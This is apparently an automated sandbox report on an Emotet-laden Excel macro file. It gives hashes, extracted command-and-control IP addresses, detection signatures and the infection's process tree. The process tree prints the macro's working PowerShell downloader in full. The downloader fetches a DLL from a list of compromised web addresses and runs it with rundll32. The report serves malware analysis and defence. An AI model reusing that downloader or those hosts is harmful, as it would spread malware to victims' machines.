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211117-hdnk3seedn 10Analysis
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max time kernel
29s -
max time network
27s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
22-11-2021 14:41
Static task
static1
General
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Target
865663204559_17_Nov_2021.xlsm
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Size
44KB
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MD5
477fd718bb764ffe3c5afde16c6c8dd2
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SHA1
eb932e19d95f88d64270d40cdc0b92c6d1cf63be
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SHA256
ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
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SHA512
f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267
Malware Config
Extracted
emotet
Epoch4
91.200.186.228:443
191.252.196.221:8080
94.177.248.64:443
66.42.55.5:7080
103.8.26.103:8080
185.184.25.237:8080
103.8.26.102:8080
178.79.147.66:8080
58.227.42.236:80
45.118.135.203:7080
103.75.201.2:443
195.154.133.20:443
45.142.114.231:8080
212.237.5.209:443
207.38.84.195:8080
104.251.214.46:8080
212.237.17.99:8080
212.237.56.116:7080
216.158.226.206:443
110.232.117.186:8080
158.69.222.101:443
107.182.225.142:8080
176.104.106.96:8080
81.0.236.90:443
50.116.54.215:443
138.185.72.26:8080
51.68.175.8:8080
210.57.217.132:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2592 3596 cmd.exe 67 -
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
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suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 4 IoCs
flow pid Process 18 4604 powershell.exe 28 4604 powershell.exe 42 4592 rundll32.exe 43 4592 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 1192 rundll32.exe 1476 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Zyiujjt\lsssofeqmnljxv.jcs rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3596 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4604 powershell.exe 4604 powershell.exe 4604 powershell.exe 4592 rundll32.exe 4592 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4604 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3596 EXCEL.EXE 3596 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE 3596 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3596 wrote to memory of 2592 3596 EXCEL.EXE 70 PID 3596 wrote to memory of 2592 3596 EXCEL.EXE 70 PID 2592 wrote to memory of 4604 2592 cmd.exe 72 PID 2592 wrote to memory of 4604 2592 cmd.exe 72 PID 4604 wrote to memory of 1192 4604 powershell.exe 75 PID 4604 wrote to memory of 1192 4604 powershell.exe 75 PID 4604 wrote to memory of 1192 4604 powershell.exe 75 PID 1192 wrote to memory of 1476 1192 rundll32.exe 76 PID 1192 wrote to memory of 1476 1192 rundll32.exe 76 PID 1192 wrote to memory of 1476 1192 rundll32.exe 76 PID 1476 wrote to memory of 2056 1476 rundll32.exe 77 PID 1476 wrote to memory of 2056 1476 rundll32.exe 77 PID 1476 wrote to memory of 2056 1476 rundll32.exe 77 PID 2056 wrote to memory of 4592 2056 rundll32.exe 78 PID 2056 wrote to memory of 4592 2056 rundll32.exe 78 PID 2056 wrote to memory of 4592 2056 rundll32.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\539125508.dll,f8676589674⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\539125508.dll",Control_RunDLL5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zyiujjt\lsssofeqmnljxv.jcs",QNTuENltT6⤵
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zyiujjt\lsssofeqmnljxv.jcs",Control_RunDLL7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:4592
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